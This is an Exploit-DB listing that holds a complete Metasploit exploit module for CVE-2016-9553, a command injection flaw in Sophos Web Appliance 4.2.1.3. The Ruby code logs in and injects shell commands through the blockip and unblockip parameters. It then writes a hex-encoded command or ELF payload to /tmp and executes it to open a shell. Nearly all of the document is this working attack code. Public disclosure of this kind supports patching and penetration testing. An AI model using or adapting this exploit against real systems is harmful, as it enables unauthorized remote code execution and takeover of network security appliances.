标题: Sophos Web Appliance 4.2.1.3 - block/unblock Remote Command Injection (Metasploit) EDB-ID: 41413 CVE: 2016-9553 类型: WEBAPPS 平台: PHP 发布日期: 2016-12-12 漏洞利用脚本: # Exploit Title: Sophos Web Appliance UnBlock/Block-IP Remote Command Injection Vulnerablity 
# Date: 12/12/2016
# Exploit Author: xort @ Critical Start
# Vendor Homepage: www.sophos.com 
# Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
# Version: 4.2.1.3
# Tested on: 4.2.1.3
#            
# CVE : CVE-2016-9553

# vuln 1: unblockip parameter / MgrReport.php exploit
# vuln 2: blockip parameter   / MgrReport.php exploit

# Description PostAuth Sophos Web App FW <= v4.2.1.3 for capablities. This exploit leverages a command injection bug. 
#
# xort @ Critical Start

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
 Rank = ExcellentRanking
 include  Exploit::Remote::Tcp
        include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Sophos Web Appliace <= v4.2.1.3 block/unblock remote exploit',
     'Description'    => %q{
     This module exploits two 2 seperate remote command injecection vulnerabilities in
    the Sophos Web Appliace Version <=  v4.2.1.3 the web administration interface.
     By sending a specially crafted request it's possible to inject system
     commands 
   },
   'Author'         =>
    [
     'xort', # vuln + metasploit module
    ],
   'Version'        => '$Revision: 2 $',
   'References'     =>
    [
     [ 'none', 'none'],
    ],
   'Platform'      => [ 'linux'],
   'Privileged'     => true,
    'Arch'          => [ ARCH_X86 ],
                        'SessionTypes'  => [ 'shell' ],
                        'Privileged'     => false,

          'Payload'        =>
                                { 
                                  'Compat' =>
                                  {
                                        'ConnectionType' => 'find',
                                  }
                                },

   'Targets'        =>
    [
     [
      'blockip method',
      {
        'Arch' => ARCH_X86,
        'Platform' => 'linux',
        'VulnName' => 'blockip',
        'VulnNum' => '1',
      },
     ], 
     [
      'unblockip method',
      {
        'Arch' => ARCH_X86,
        'Platform' => 'linux',
        'VulnName' => 'unblockip',
        'VulnNum' => '2',
      },
     ],
    ],
   'DefaultTarget' => 0))

   register_options(
    [
     OptString.new('PASSWORD', [ false, 'Device password', "" ]), 
             OptString.new('USERNAME', [ true, 'Device password', "admin" ]), 
     OptString.new('CMD', [ false, 'Command to execute', "" ]), 
     Opt::RPORT(443),
    ], self.class)
 end


        def do_login(username, password_clear)
                vprint_status( "Logging into machine with credentials...\n" )

                # vars
                timeout = 11550;
                style_key = Rex::Text.rand_text_hex(32)

                # send request  
                res = send_request_cgi(
                {
                      'method'  => 'POST',
                      'uri'     => "/index.php",
                      'vars_get' => {
      'c' => 'login',
   },
                      'vars_post' =>
                        {

            'STYLE' => style_key,
      'destination' => '',
     'username' => username,
     'password' => password_clear,
                        }
                }, timeout)

                return style_key
        end

 def run_command(username, style_password, cmd)
  vprint_status( "Running Command...\n" )

  # random attack method from calling methods into  
  calling_commands = [ 'report','trend_volume','trend_suspect','top_app_ctrl','perf_latency','perf_throughput','users_browse_summary','traf_sites','traf_blocked','traf_users','users_virus_downloaders','users_pua_downloaders','users_highrisk','users_policy_violators','users_top_users_by_browse_time','users_quota','users_browse_time_by_user','users_top_users_by_category','users_site_visits_by_user','users_category_visits_by_user','users_monitored_search_queries','users_app_ctrl','traf_category','traf_download' ,'warned_sites' ]

  # select random calling page that calls the vulnerable page MgrReport.php where the vulns are
  attack_method = calling_commands[rand(calling_commands.length)]

                # random filename to dump too + 'tmp' HAS to be here.
                b64dumpfile = "/tmp/" + rand_text_alphanumeric(4+rand(4))

  vprint_status( "Attacking Vuln #" + target['VulnNum']+ " - " + target['VulnName'] + " with " + attack_method  + "command method" )
  res = send_request_cgi({
   'method' => 'GET',
   'uri' => '/index.php?c=trend_suspect&' + target['VulnName'] + '=1.2.3.6`'+ cmd +'`&STYLE='+style_password
  })

 end

 def exploit
  # timeout
  timeout = 1550;

  # params
  password_clear = datastore['PASSWORD']
  user = datastore['USERNAME']
  
  style_hash = do_login(user, password_clear)
 
  vprint_status("STATUS hash authenticated: #{style_hash}\n")

  sleep(5)

   #if no 'CMD' string - add code for root shell
                if not datastore['CMD'].nil? and not datastore['CMD'].empty?

                        cmd = datastore['CMD']

                        # Encode cmd payload
                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')

                        # kill stale calls to bdump from previous exploit calls for re-use
                        run_command(user, style_hash, ("sudo /bin/rm -f /tmp/n ;printf \"#{encoded_cmd}\" > /tmp/n; chmod +rx /tmp/n ; /tmp/n" ))
                else
                        # Encode payload to ELF file for deployment
                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')

   # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
                        run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))
   # wait for magic
                        handler
   
                end


 end
end URL: https://www.exploit-db.com/exploits/41413